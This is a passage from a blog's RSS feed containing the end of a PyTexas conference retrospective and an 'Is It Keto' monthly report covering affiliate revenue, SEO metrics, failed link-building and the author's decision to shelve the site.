&lt;p>What went well&lt;/p>
&lt;ul>
&lt;li>Preparedness: I did 5-8 run-throughs in the weeks leading up to the talk, so I felt comfortable with the material.&lt;/li>
&lt;li>Slide pacing: Reviewing the video, it feels like I&amp;rsquo;m avoiding slide lethargy and moving the presentation forward at a good pace.&lt;/li>
&lt;li>My dig at Java (see &lt;a href="https://youtu.be/hM_ex4-xu4E?t=975">16:15&lt;/a>) got a good laugh.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>What needs improvement&lt;/p>
&lt;ul>
&lt;li>Slow down: I was talking way too fast. I forgot to keep a timer up, so I was in kind of a rushed panic to finish on time. My rehearsals were running about 27 minutes, but at the real event, I went so fast that I only used 22 minutes of my half-hour slot.&lt;/li>
&lt;li>Look up more: I spent too much time looking down at my screen to read the content instead of engaging the audience.&lt;/li>
&lt;li>&amp;ldquo;Magic numbers are fine in test code&amp;rdquo; (at &lt;a href="https://youtu.be/hM_ex4-xu4E?t=1198">19:58&lt;/a>)
&lt;ul>
&lt;li>This line needed more justification. Fortunately, someone asked about this in the Q &amp;amp; A, so I was able to cover it, but it should have been part of the presentation proper.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="other-thoughts">Other thoughts&lt;/h2>
&lt;h3 id="attending-as-a-speaker-is-more-valuable-than-attending-as-a-regular-guest">Attending as a speaker is more valuable than attending as a regular guest&lt;/h3>
&lt;p>In considering whether to attend more conferences, I&amp;rsquo;ve debated whether I should go to some as an attendee rather than as a speaker. I feel like there&amp;rsquo;s about an order of magnitude more value in attending as a speaker.&lt;/p>
&lt;p>People are more interested in talking to you as a speaker. This is true even before you&amp;rsquo;ve given your talk because there&amp;rsquo;s a feeling of, &amp;ldquo;Oh, well you must be good at something.&amp;rdquo; And then after your talk, people who want to meet you have an easy topic to discuss with you because they know at least one thing you&amp;rsquo;re passionate about.&lt;/p>
&lt;p>I also found that speakers made a more lasting impression on me than other attendees. I had conversations with lots of interesting people, but the ones that stick with me days later are the ones who gave a talk.&lt;/p>
&lt;h3 id="i-should-have-asked-for-something">I should have asked for something&lt;/h3>
&lt;p>Every speaker effectively gets a free &amp;ldquo;call to action&amp;rdquo; in their presentation. For most speakers, it&amp;rsquo;s an invitation to apply to their company or to use their product. I&amp;rsquo;m not hiring, and I&amp;rsquo;m &lt;a href="https://mtlynch.io/retrospectives/2019/04/">between projects&lt;/a>, so a call to action didn&amp;rsquo;t occur to me.&lt;/p>
&lt;p>About an hour after my talk, I thought, &amp;ldquo;Oh, I should have asked businesses to send me their pain points!&amp;rdquo; I suspect that many PyTexas attendees have some part of their day jobs where they think, &amp;ldquo;I hate doing this. Why isn&amp;rsquo;t there a managed service that handles this for us?&amp;rdquo; A lot of those problems go unsolved because it&amp;rsquo;s hard for product-builders to connect with small businesses that have unmet needs. PyTexas might have been a good place to just say, &amp;ldquo;Hey, come talk to me, and maybe I&amp;rsquo;ll build that service for you.&amp;rdquo;&lt;/p>
&lt;h3 id="single-track-conferences-have-a-different-vibe">Single-track conferences have a different vibe&lt;/h3>
&lt;p>This was the first conference I attended that was single-track. By this, I mean that only one presentation was happening at any given time, so attendees never had to decide which talks to attend because there was only ever one choice.&lt;/p>
&lt;p>The single track was positive in that everyone saw the same talks, so you could discuss any presentation with anyone else, and they probably saw it. As a speaker, it&amp;rsquo;s also nice to have 100% of the audience see your talk.&lt;/p>
&lt;p>The downside is that single-track events lack the shuffling that multi-track conferences create naturally. In a multi-track conference, most people move to a different room after each talk and end up meeting new people. At PyTexas, most people stuck to a single table the entire day, so there was less mingling than I&amp;rsquo;ve seen at other conferences.&lt;/p>
&lt;h2 id="costs">Costs&lt;/h2>
&lt;p>I ended up spending more to attend this conference than I expected:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Expense&lt;/th>
 &lt;th>Amount&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Airfare&lt;/td>
 &lt;td>$699.96&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Airbnb (2 nights)&lt;/td>
 &lt;td>$253.26&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Airport parking&lt;/td>
 &lt;td>$89.79&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Uber rides&lt;/td>
 &lt;td>$81.93&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Gas&lt;/td>
 &lt;td>$33.01&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Food&lt;/td>
 &lt;td>$26.29&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>PyTexas ticket&lt;/td>
 &lt;td>&lt;del>$85&lt;/del> (free through PyTexas grant)&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$1,184.24&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Beyond the monetary cost, it was expensive in terms of time. It&amp;rsquo;s a two-day conference, but it wiped me out for about five days. I lost roughly a day in transit each way, and then it took me about a day to catch up on non-work errands that I&amp;rsquo;d missed while I was away. Outside that, I spent 20-30 hours preparing my slide deck and rehearsing it.&lt;/p>
&lt;h2 id="conclusion-keep-attending-but-strategically">Conclusion: Keep attending, but strategically&lt;/h2>
&lt;p>At the beginning of the year, I &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/#goals-for-year-two">set a goal&lt;/a> to speak at three conferences in 2019. PyTexas was conference #2, so I think one more for the year will be a good amount.&lt;/p>
&lt;p>The benefits for me are meeting new people, hearing about tools and techniques that I otherwise wouldn&amp;rsquo;t be exposed to, and getting practice public speaking. One of the biggest takeaways was learning about Penflip, which was wholly unexpected but could save me tons of time and money in avoiding their mistakes.&lt;/p></content:encoded></item><item><title>Is It Keto: Month 7</title><link>https://mtlynch.io/retrospectives/2019/04/</link><pubDate>Wed, 03 Apr 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2019/04/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&amp;rsquo;s visits reached a record high of 11k pageviews.&lt;/li>
&lt;li>Revenues reached a record high of $40.84 in affiliate income.&lt;/li>
&lt;li>Despite this, Is It Keto didn&amp;rsquo;t satisfy its critical goals, so I&amp;rsquo;m putting it on the backburner.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of the month, I laid out some high-level goals. Because of Is It Keto&amp;rsquo;s slow growth, I declared these to be goals the site &lt;strong>must&lt;/strong> meet or else I&amp;rsquo;d stop working on it.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&amp;rsquo;s visits reached a record high of 11k pageviews.&lt;/li>
&lt;li>Revenues reached a record high of $40.84 in affiliate income.&lt;/li>
&lt;li>Despite this, Is It Keto didn&amp;rsquo;t satisfy its critical goals, so I&amp;rsquo;m putting it on the backburner.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of the month, I laid out some high-level goals. Because of Is It Keto&amp;rsquo;s slow growth, I declared these to be goals the site &lt;strong>must&lt;/strong> meet or else I&amp;rsquo;d stop working on it.&lt;/p>
&lt;p>&lt;strong>Achieve $100 in revenue&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Earned $40.84 in revenue (&lt;font color="red">59% below target&lt;/font>)&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C-&lt;/li>
&lt;/ul>
&lt;p>This was the site&amp;rsquo;s highest revenue month, almost doubling the previous record set in January. At this level of traffic, revenue levels seem to be smoothing out to a few dollars per week rather than isolated bursts on just two or three days for the entire month.&lt;/p>
&lt;p>That said, $40 is small potatoes. It doesn&amp;rsquo;t even meet the goal I was trying to hit back in January when I began setting monthly revenue targets.&lt;/p>
&lt;p>&lt;strong>Receive links from two websites with a Moz Domain Authority of at least 40&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Got zero new links except for random spam domains (&lt;font color="red">100% below target&lt;/font>)&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>I made a longshot bet that other keto sites would link to me if I created interesting visualizations about keto recipes. Sadly, it didn&amp;rsquo;t pan out. Most sites didn&amp;rsquo;t respond to my inquiries, and the ones that did felt that their readers wouldn&amp;rsquo;t be interested.&lt;/p>
&lt;p>&lt;strong>Add 10 new pages for different foods&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Added 12 new food pages (&lt;font color="green">20% above target&lt;/font>)&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>In January and February, I set more aggressive goals for publishing new food articles (75 and 30, respectively). March&amp;rsquo;s target was deliberately conservative so that I could focus on strategies for increasing incoming links. This was a nice, easy goal, so I beat the target by a small amount.&lt;/p>
&lt;h2 id="stats-and-metrics">Stats and Metrics&lt;/h2>
&lt;h3 id="amazon-affiliate-stats">Amazon Affiliate Stats&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/04/amazon-earnings-2019-03.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/04/amazon-earnings-2019-03_hu_a40989d50be9a1f5.jpg 300w, https://mtlynch.io/retrospectives/2019/04/amazon-earnings-2019-03_hu_a8e14bfb2021be9e.jpg 600w, https://mtlynch.io/retrospectives/2019/04/amazon-earnings-2019-03_hu_c6953fcf21e06dbe.jpg 800w, https://mtlynch.io/retrospectives/2019/04/amazon-earnings-2019-03.jpg 950w'
 src="https://mtlynch.io/retrospectives/2019/04/amazon-earnings-2019-03.jpg" alt="Amazon Earnings - March 2019" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Amazon affiliate earnings - March 2019&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>February 2019&lt;/th>
 &lt;th>March 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Total Earnings&lt;/td>
 &lt;td>~$11&lt;/td>
 &lt;td>$40.84&lt;/td>
 &lt;td>&lt;font color="green">+$29.84 (+271%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Clicks&lt;/td>
 &lt;td>371&lt;/td>
 &lt;td>236&lt;/td>
 &lt;td>&lt;font color="red">-135 (-36%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Conversion&lt;/td>
 &lt;td>???&lt;/td>
 &lt;td>19.07%&lt;/td>
 &lt;td>???&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Conversion rates have been promisingly high. I don&amp;rsquo;t have numbers for February &lt;a href="https://mtlynch.io/retrospectives/2019/03/#amazon-affiliate-stats">due to my link tag screwup&lt;/a>, but my January conversions were 23%. Both of these are substantially higher than on this blog, where conversion is around 3%. It seems like if users click the &amp;ldquo;Where to Buy&amp;rdquo; link on Is It Keto, they&amp;rsquo;re typically ready to make a purchase.&lt;/p>
&lt;p>There was a precipitous drop in affiliate link clicks relative to February, but I suspect February&amp;rsquo;s numbers were not accurate. I tried to correct for the link confusion in February by correlating clicks against my Google Analytics data, but now I&amp;rsquo;m skeptical that Google Analytics recorded every click. It seems too suspicious that clicks dropped by 36% while pageviews increased by 34%.&lt;/p>
&lt;h3 id="visitor-stats">Visitor Stats&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/04/ga-2019-03-trailing-12.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/04/ga-2019-03-trailing-12_hu_a0ddd97d6885f293.jpg 300w, https://mtlynch.io/retrospectives/2019/04/ga-2019-03-trailing-12_hu_496f338f78318855.jpg 600w, https://mtlynch.io/retrospectives/2019/04/ga-2019-03-trailing-12_hu_89b3ff98ae1feaa2.jpg 800w, https://mtlynch.io/retrospectives/2019/04/ga-2019-03-trailing-12.jpg 800w'
 src="https://mtlynch.io/retrospectives/2019/04/ga-2019-03-trailing-12.jpg" alt="Google Analytics screenshot" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>User sessions - April 2018 through March 2019&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>February 2019&lt;/th>
 &lt;th>March 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>2,687&lt;/td>
 &lt;td>4,001&lt;/td>
 &lt;td>&lt;font color="green">+1,314 (+49%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>8,500&lt;/td>
 &lt;td>11,431&lt;/td>
 &lt;td>&lt;font color="green">+2,931 (+34%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Referrals from organic search&lt;/td>
 &lt;td>1,998&lt;/td>
 &lt;td>3,362&lt;/td>
 &lt;td>&lt;font color="green">+1,364 (+82%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Referrals from Facebook&lt;/td>
 &lt;td>18&lt;/td>
 &lt;td>40&lt;/td>
 &lt;td>&lt;font color="green">+22 (+97%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Referrals from Twitter&lt;/td>
 &lt;td>307&lt;/td>
 &lt;td>325&lt;/td>
 &lt;td>&lt;font color="green">+325 (+6%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>This was a great month for user visits in every category, but the growth came almost entirely from organic search. Unsurprisingly, Google dominated my referrals from organic search.&lt;/p>
&lt;p>So much of Is It Keto&amp;rsquo;s success depends on how Google ranks me for a query like &lt;a href="https://google.com/search?q=is+metamucil+keto%3F">&amp;ldquo;is Metamucil keto?&amp;rdquo;&lt;/a> If &lt;a href="https://isitketo.org/metamucil">my article&lt;/a> is the #1 result, that one page can bring in 1,000 visitors per month. If the article is in the #15 spot, I&amp;rsquo;ll only receive a handful of visitors.&lt;/p>
&lt;h3 id="seo-stats">SEO Stats&lt;/h3>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/04/google-search-console.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/04/google-search-console_hu_87565d41e3667fa9.jpg 300w, https://mtlynch.io/retrospectives/2019/04/google-search-console_hu_5509ac39b00990c.jpg 600w, https://mtlynch.io/retrospectives/2019/04/google-search-console.jpg 798w'
 src="https://mtlynch.io/retrospectives/2019/04/google-search-console.jpg" alt="Google Search Console screenshot" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Google Search Console - March 2019&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>February 2019&lt;/th>
 &lt;th>March 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Google-indexed pages&lt;/td>
 &lt;td>93&lt;/td>
 &lt;td>161&lt;/td>
 &lt;td>&lt;font color="green">+68 (+73%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Google indexed vs. excluded pages&lt;/td>
 &lt;td>65.0%&lt;/td>
 &lt;td>91.4%&lt;/td>
 &lt;td>&lt;font color="green">+26.4 (+40.6%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Authority (Moz)&lt;/td>
 &lt;td>10&lt;/td>
 &lt;td>9&lt;/td>
 &lt;td>&lt;font color="red">-1&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Linking Domains (Moz)&lt;/td>
 &lt;td>10&lt;/td>
 &lt;td>11&lt;/td>
 &lt;td>&lt;font color="green">+1&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Ranking Keywords (Moz)&lt;/td>
 &lt;td>99&lt;/td>
 &lt;td>448&lt;/td>
 &lt;td>&lt;font color="green">+349 (+352%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Google loved me in March! Almost every Is It Keto article is now in Google&amp;rsquo;s search index, and it ranked me higher in search results for many new terms. The number of keywords for which Is It Keto appears in the first page of results exploded from 99 in February to 448 in March.&lt;/p>
&lt;p>In February, there were only two Is It Keto pages that appeared more than 500 times in Google search results. In March, that number increased to 18. Of those, 11 pages received 1,000 impressions or more.&lt;/p>
&lt;p>I&amp;rsquo;m not sure why there was such a dramatic boost this month. It could be that there&amp;rsquo;s an age component to it, so my links are bubbling to the top of results as more users click. Or it could be that Google is ranking me more favorably as the breadth of my site has grown, so I&amp;rsquo;m a more trustworthy authority on the keto diet now that I&amp;rsquo;ve reached 173 articles.&lt;/p>
&lt;h3 id="finances">Finances&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Income/Expense&lt;/th>
 &lt;th>February 2019&lt;/th>
 &lt;th>March 2019&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Amazon Affiliate revenue&lt;/td>
 &lt;td>$11&lt;/td>
 &lt;td>$41&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Content writers&lt;/td>
 &lt;td>&lt;font color="red">-$893&lt;/font>&lt;/td>
 &lt;td>&lt;font color="red">-$425&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Twitter manager&lt;/td>
 &lt;td>&lt;font color="red">-$144&lt;/font>&lt;/td>
 &lt;td>&lt;font color="red">-$96&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$1,026&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$480&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>In winding down the site, I reduced the hours of my content writers and my Twitter manager. As a result, this was my lowest level of spending since I began focusing on the site in December.&lt;/p>
&lt;p>Despite March being my highest revenue month, the costs highlight the tininess of my revenue. One of my writers charged $50/hr, so my entire month of income wouldn&amp;rsquo;t be enough to pay for a single hour of her time.&lt;/p>
&lt;h2 id="biggest-challenge-link-building">Biggest challenge: link building&lt;/h2>
&lt;p>Over the past few months, it&amp;rsquo;s become clear that Is It Keto&amp;rsquo;s primary source of growth is organic search. And for the site to rank well in search results, other reputable sites need to link to Is It Keto.&lt;/p>
&lt;p>This presented a difficult challenge. Every page on Is It Keto is just an explanation of why a particular food is or is not keto. The Huffington Post is never going to get excited about my article on &lt;a href="https://isitketo.org/lilys-chocolate">Lily&amp;rsquo;s Chocolate&lt;/a> and do their own write-up about what how groundbreaking it is. There are big keto sites that presumably have an interest in keto content, but they don&amp;rsquo;t want to link to someone else&amp;rsquo;s explanations about which foods are keto.&lt;/p>
&lt;p>I tried to think of what unique advantages I had over other keto sites. My one secret weapon was &lt;a href="https://recipe-search.isitketo.org">KetoHub&lt;/a>, a keto recipe search tool I built in 2017. It scrapes keto recipes from the web into structured data:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/04/ketohub-data.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/04/ketohub-data_hu_fdcd17cc485c03a7.jpg 300w, https://mtlynch.io/retrospectives/2019/04/ketohub-data_hu_237cb5c515ed8c87.jpg 600w, https://mtlynch.io/retrospectives/2019/04/ketohub-data_hu_3dffb0a3c457c8a1.jpg 800w, https://mtlynch.io/retrospectives/2019/04/ketohub-data.jpg 800w'
 src="https://mtlynch.io/retrospectives/2019/04/ketohub-data.jpg" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Structured keto recipe data from KetoHub&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="my-failed-attempt-at-link-building">My failed attempt at link building&lt;/h2>
&lt;p>My idea was to create compelling visualizations from my KeotHub data. And then once I had some examples, approach major keto sites and ask if they want to republish my charts. Or I could even create custom visualizations about the recipes on their specific site. In exchange, they just had to provide attribution in the form of a link back to Is It Keto.&lt;/p>
&lt;p>To start out, I made a bubble cloud of how frequently different ingredients appear in keto recipes:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 750px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/04/ing-freq.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 750px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/04/ing-freq_hu_db642a00742db25d.jpg 300w, https://mtlynch.io/retrospectives/2019/04/ing-freq_hu_f17eed591dab455f.jpg 600w, https://mtlynch.io/retrospectives/2019/04/ing-freq.jpg 750w'
 src="https://mtlynch.io/retrospectives/2019/04/ing-freq.jpg" alt="Bubble cloud of ingredient frequency in keto recipes" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>This was harder than I anticipated. I used &lt;a href="https://d3js.org/">D3.js&lt;/a>, which is a powerful visualization library, but it&amp;rsquo;s also incredibly complex. I spent a week cobbling together bits of various tutorials in order to get that bubble cloud working.&lt;/p>
&lt;p>I reached out to a few keto sites that I had spoken to in the past through KetoHub, but most of them ignored my message. The few that did respond seemed put off by my proposal. To them, it came across as yet another spammer with offers of, &amp;ldquo;I&amp;rsquo;ll pay you if you let me write a guest post on your blog and link to my shady website.&amp;rdquo;&lt;/p>
&lt;p>My subsequent blog post was about artificial sweeteners, as they&amp;rsquo;re a contentious topic in the keto community. I showed how different sweeteners rise and fall in popularity over time:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 675px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/04/sweetener-usage.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 675px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/04/sweetener-usage_hu_9e57a65d6c9b6cc.jpg 300w, https://mtlynch.io/retrospectives/2019/04/sweetener-usage_hu_e45f1eba87f29ffc.jpg 600w, https://mtlynch.io/retrospectives/2019/04/sweetener-usage.jpg 675w'
 src="https://mtlynch.io/retrospectives/2019/04/sweetener-usage.jpg" alt="Stacked area chart of artificial sweetener usage over time" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>This time, I used &lt;a href="https://github.com/nvd3/nvd3">NVD3&lt;/a>, a more user-friendly interface to D3 that &lt;a href="https://oky.moe/">my friend&lt;/a> suggested. It was still a clunky process, but substantially easier than raw D3. I also decided to stick with more traditional visualizations like pie charts and line graphs. This sped up the process because staying within common scenarios meant there were plenty of examples.&lt;/p>
&lt;p>With both blog posts published, I reached out to the remaining keto sites with a softer pitch. I offered to create visualizations that they could include on their website, but I left it vague about what I wanted from the deal.&lt;/p>
&lt;p>The results were no better than my first wave of pitches. Most sites never answered. A couple sent noncommittal responses. Some of them misunderstood and thought I was just offering to create custom visualizations for them to enjoy privately and never publish on their site.&lt;/p>
&lt;p>In the end, I wasn&amp;rsquo;t able to get any new links to Is It Keto.&lt;/p>
&lt;h2 id="calling-it-quits">Calling it quits&lt;/h2>
&lt;p>Now, I&amp;rsquo;m shelving the site. It&amp;rsquo;s a difficult decision because it has been growing consistently, and I&amp;rsquo;m sure I could get it to turn a profit if I kept working on it for another year. But of everything I could invest a year of effort into, I suspect this is not the one with the highest potential profit.&lt;/p>
&lt;p>Fortunately, the site can run fine on its own, &lt;a href="https://www.indiehackers.com/forum/isitketo-returning-to-a-site-that-grew-without-me-0a0fe3ef52">as it did for most of 2018&lt;/a>. It just runs on AppEngine, so it will just chug along, and I never have to update any packages or reboot any servers.&lt;/p>
&lt;p>My hope is that the site will grow organically as people click Is It Keto links in Google results. If the site makes it to the #1 spot on Google for more keywords, traffic could be 10-100x what it is today. If revenues grow to $500+ per month, then I&amp;rsquo;ll maybe pick it back up because that&amp;rsquo;s the point where I can hire people to expand it and still turn a profit.&lt;/p>
&lt;p>In total, I spent about $4,500 on the site and earned only $76 in revenue so far. I doubt I&amp;rsquo;ll earn back my investment, but it could happen if growth continues at its current rate.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published two blog posts experimenting with keto recipes and visualization&lt;/li>
&lt;li>Reached out to eight major keto sites to see if they&amp;rsquo;d be interested in using my visualizations in exchange for attribution
&lt;ul>
&lt;li>No dice.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Wrote a tool to identify missing crosslinks in my pages
&lt;ul>
&lt;li>For example, it notifies me if an Is It Keto article mentions &amp;ldquo;lima beans&amp;rdquo; but doesn&amp;rsquo;t link to the dedicated &lt;a href="https://isitketo.org/lima-beans">lima beans article&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Added 12 new food pages&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;p>These are my takeaways from March, but I&amp;rsquo;ll probably do a full-length blog post about what high-level lessons I&amp;rsquo;ve learned from this project.&lt;/p>
&lt;ul>
&lt;li>When it comes to data visualization, start simple.
&lt;ul>
&lt;li>It&amp;rsquo;s easier to generate something common like a line chart or bar graph than something exotic like a bubble cloud.&lt;/li>
&lt;li>Simple charts prevent you from going too far down the rabbit hole of fiddling with visualization code.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://d3js.org/">D3.js&lt;/a> is a powerful visualization library, but it&amp;rsquo;s too complex for quick, experimental visualizations.
&lt;ul>
&lt;li>I had a good experience with NVD3, but their fork situation is confusing. &lt;a href="https://github.com/nvd3/nvd3">nvd3/nvd3&lt;/a> is the most stable repo, but their &lt;a href="https://github.com/nvd3/nvd3/issues/6">documentation page is broken&lt;/a>. The nvd3-community fork is out of date, but &lt;a href="https://nvd3-community.github.io/nvd3/">their documentation works&lt;/a>.&lt;/li>
&lt;li>I&amp;rsquo;ve heard good things about the more actively maintained &lt;a href="https://vega.github.io/vega/">Vega library&lt;/a>, but haven&amp;rsquo;t tried it.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;p>Is It Keto is on hold, so my top goal is to resist the temptation to continue working on it or monitoring it closely. In addition, here are a couple other things I&amp;rsquo;d like to achieve in April:&lt;/p>
&lt;ul>
&lt;li>Learn &lt;a href="https://vuejs.org">Vue.js&lt;/a>, as I&amp;rsquo;ve officially given up on Angular after &lt;a href="https://twitter.com/deliberatecoder/status/1011358706108456960">constant headaches&lt;/a>.&lt;/li>
&lt;li>Explore ideas for a new project that I can begin in May/June.&lt;/li>
&lt;li>Get back to posting full-length blog articles because I&amp;rsquo;ve only published one in 2019.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Is It Keto: Month 6</title><link>https://mtlynch.io/retrospectives/2019/03/</link><pubDate>Tue, 05 Mar 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2019/03/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&amp;rsquo;s user visits plateaued in February, but that still represents progress.&lt;/li>
&lt;li>Revenues fell substantially and missed targets for the month.&lt;/li>
&lt;li>I&amp;rsquo;m going to shelve the project unless I achieve my targets for March.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of the month, I laid out some high-level goals. Here&amp;rsquo;s how I did against those goals.&lt;/p>
&lt;p>&lt;strong>Achieve $60 in revenue&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Earned ~$11 in revenue (&lt;font color="red">82% below target&lt;/font>)&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>Amazon Affiliate revenue continues to be bursty. A single purchase through one of my affiliate links can yield anywhere from $0.50 to $20. Revenues did not grow the way I hoped, and so I finished the month with a meager $11.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&amp;rsquo;s user visits plateaued in February, but that still represents progress.&lt;/li>
&lt;li>Revenues fell substantially and missed targets for the month.&lt;/li>
&lt;li>I&amp;rsquo;m going to shelve the project unless I achieve my targets for March.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
